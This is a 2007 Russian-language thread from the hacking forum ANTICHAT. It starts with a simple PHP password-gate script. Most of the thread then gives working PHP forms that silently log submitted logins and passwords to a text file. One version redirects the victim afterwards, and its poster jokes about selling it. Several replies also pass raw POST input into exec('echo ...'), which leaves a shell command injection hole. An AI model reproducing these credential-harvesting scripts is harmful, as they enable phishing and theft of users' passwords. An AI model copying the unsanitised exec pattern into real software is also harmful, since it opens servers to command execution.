ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

22.08.2007, 10:27
|
|
Познающий
Регистрация: 15.07.2006
Сообщений: 48
Провел на форуме: 126131
Репутация:
26
|
|
Людей хелп. Нужен такой просто php скрипт.
Поле пароль
Собсно вводим пароль если пароль верный то нас кидает на определенную страницу если пароль неверный то выдается соответствующие сообщение.
|
|
|

22.08.2007, 10:46
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
password.html
<html>
<head>
<title>Авторизация доступа</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body>
<h1>Введите пароль:</h1>
<form action="password.php" method="post">
<input type="password" name="passwd" maxlength="24" size="18" value="">
<br><br>
<input type="submit" value="Авторизация">
</form>
</body>
</html>
password.php
<?php
define("REDIRECT_URL", "http://www.yandex.ru");
define("ACCESS_PASSWD", "Шапка0012УшанкА");
$passwd = trim($_POST["passwd"]);
if (strlen($passwd) && $passwd == ACCESS_PASSWD)
header("Location: " . REDIRECT_URL);
else
print("<h1 style=\"color: red\">Введённый пароль не верен!</h1>");
?>
Заходишь на password.html и вводишь пароль. Пароль забит константой.
|
|
|

22.08.2007, 14:54
|
|
Новичок
Регистрация: 10.06.2007
Сообщений: 26
Провел на форуме: 105092
Репутация:
4
|
|
Скажите пожалуйста, как сделать так, что бы при вводе логина и пароля, они автоматически сохранялись в отдельный файлик?
|
|
|

22.08.2007, 15:13
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме: 6023777
Репутация:
2642
|
|
Сообщение от Reanimat0R
Скажите пожалуйста, как сделать так, что бы при вводе логина и пароля, они автоматически сохранялись в отдельный файлик?
PHP код:
<?
$file = 'data.txt'; //файлик
if(!$_POST['s'])
{
?>
<form method=POST>
Логин: <input type=text name=login><br>
Пароль: <input type=password name=pass><br>
<input type=submit name=s>
</form>
<?
} else {
$format = $_POST['login'].' ||| '.$_POST['pass']; //в каком формате записать логин и пасс (запишется так - ЛОГИН ||| ПАРОЛЬ)
$f = fopen($file, 'ab');
fwrite($f, $format."\r\n");
fclose($f);
}
?>
|
|
|

22.08.2007, 15:19
|
|
Познавший АНТИЧАТ
Регистрация: 02.05.2006
Сообщений: 1,191
Провел на форуме: 7364332
Репутация:
1276
|
|
Еще вот так сделать... и можно будет продовать как приват..)))
PHP код:
<?
$file = 'data.txt'; //файлик
if(!$_POST['s'])
{
?>
<form method=POST>
Логин: <input type=text name=login><br>
Пароль: <input type=password name=pass><br>
<input type=submit name=s>
</form>
<?
} else {
$format = $_POST['login'].' ||| '.$_POST['pass']; //в каком формате записать логин и пасс (запишется так - ЛОГИН ||| ПАРОЛЬ)
$f = fopen($file, 'ab');
fwrite($f, $format."\r\n");
fclose($f);
header("Location: http://example.com/");
}
?>
|
|
|

22.08.2007, 15:22
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
password.html
<html>
<head>
<title>Авторизация доступа</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body>
<h1>Введите логин и пароль:</h1>
<form action="password.php" method="post">
Логин: <input type="text" name="login" maxlength="24" size="18" value="">
<br><br>
Пароль: <input type="password" name="passwd" maxlength="24" size="18" value="">
<br><br>
<input type="submit" value="Авторизация">
</form>
</body>
</html>
password.php
<?php
$login = @trim($_POST["login"]);
$passwd = @trim($_POST["passwd"]);
if (!strlen($login) || !strlen($passwd))
die("<h1 style=\"color: red\">Данные не верны. Повторите ввод!</h1>");
$fileId = fopen("passwords.txt", "a+");
if (!$fileId)
die("<h1 style=\"color: red\">Не могу открыть файл для записи!</h1>");
$line = sprintf("%s:%s\n", $login, $passwd);
if (!fputs($fileId, $line))
die("<h1 style=\"color: red\">Не могу записать данные в файл!</h1>");
fclose($fileId);
print("<h1 style=\"color: green\">Спасибо за посещение, {$login}!</h1>");
?>
Заходишь на password.html и вводишь логин и пароль. Скрипт password.php будет вести запись введённых данных и уведомлять пользователя "Спасибо за посещение!".
|
|
|

22.08.2007, 15:30
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме: 6023777
Репутация:
2642
|
|
Сообщение от groundhog
Заходишь на password.html и вводишь логин и пароль. Скрипт password.php будет вести запись введённых данных и уведомлять пользователя "Спасибо за посещение!".
Что-то у тебя он какой-то "сложный" зачем столько гемора?
А вообще достаточно скрипта
PHP код:
exec('echo '.$_POST['login'].'|||'.$_POST['pass'].' > log.txt');
|
|
|

22.08.2007, 15:46
|
|
Участник форума
Регистрация: 06.06.2006
Сообщений: 213
Провел на форуме: 1628290
Репутация:
474
|
|
NOmeR1, тогда точнее будет так:
PHP код:
exec("echo ".$_POST['login']."|||".$_POST['pass']." > log.txt");
|
|
|

22.08.2007, 15:55
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме: 6023777
Репутация:
2642
|
|
Сообщение от ENFIX
NOmeR1, тогда точнее будет так:
PHP код:
exec("echo ".$_POST['login']."|||".$_POST['pass']." > log.txt");
Какая разница? Ты сменил ковычки, зачем? Какой смысл?
|
|
|

22.08.2007, 16:00
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
NOmeR1, чего там сложного? Зато обрабатывает все ошибки и ведёт себя однозначно + я делал это для наглядности отдельно (пример отправки данных, пример обработки, пример записи).
exec('echo '.$_POST['login'].'|||'.$_POST['pass'].' > log.txt');
А этот код не сработает в safe mode. И тогда уж лучше:
exec('echo '.$_POST['login'].'|||'.$_POST['pass'].' >> log.txt');
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|